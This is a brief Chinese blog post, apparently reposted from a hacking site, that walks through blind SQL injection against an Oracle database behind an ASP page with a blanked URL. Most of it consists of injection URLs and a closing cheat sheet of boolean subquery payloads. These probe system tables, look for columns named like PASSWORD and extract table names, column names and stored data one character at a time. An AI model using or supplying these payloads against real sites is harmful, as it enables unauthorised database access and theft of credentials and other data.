一个简单的oracle注入

 
<script type="text/javascript"> </script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </script>
 作者:babyz 来源:http://www.blackbbz.com/ www.caiker.net
url
http://xxx.com/xxx/xxx/abc.asp?PackageID=111
先用典型的and 1=1 and 1=2方法来测试了一下,返回类型不匹配: 'CDbl'错误
不可以的,再提交一个一个单引号试试,页面返回错误
OraOLEDB 错误 '80004005'
ORA-01756: 括号内的字符串没有正确结束
......等
大概可以肯定是oracle了,继续分别提交
http://xxx.com/xxx/xxx/abc.asp?PackageID ... <>(select%20count(*)%20from%20all_tables)%20and%20'1'='1
http://xxx.com/xxx/xxx/abc.asp?PackageID ... <>(select%20count(*)%20from%20user_tables)%20and%20'1'='1
http://xxx.com/xxx/xxx/abc.asp?PackageID ... <>(select%20count(*)%20from%20user_tab_columns)%20and%20'1'='1
猜测的ORACLE的系统表all_tables,user_tables和user_tab_columns
这些页面全部返回成功,说明存在这几个表名,呵呵~~
下面猜测user_tab_columns系统表里是否存放了所有的用户表的列名,提交
http://xxx.com/xxx/xxx/abc.asp?PackageID ... <>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25')%20AND%20'1'='1
就是查询表里是否有password这个字串的列名
页面正常返回,说明存在这个password的字串
以后就是一些机械的了,和sql类似,不说了,困的,太懒了~~~
整理下
0〈〉(select count(*) from all_tables) and '1'='1 猜测是否有all_tables系统表
0〈〉(select count(*) from user_tab_columns where column_name like '%25列名关键字%25') AND '1'='1 猜测是否有包含定义关键字的列名
0〈〉(select count(*) from user_tab_columns where column_name like '%25列名关键字%25' and substr(table_name,1,1)='A') AND '1'='1 包含关键列名的表中是否有以A开头的。即开始一位位猜表。
0〈〉(select count(*) from user_tables where table_name like '%25表名关键字%25' and length(table_name)=N) and '1'='1 猜测包表名含有关键字的表的长度
0〈〉(select count(*) from user_tab_columns where table_name='表名' and substr(column_name,1,1)='A') AND '1'='1 猜测列名
0〈〉(select count(*) from 表名 where 列名1='XXXXXXXX' and substr(列名2,1,1)='a') AND '1'='1 猜测数据
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值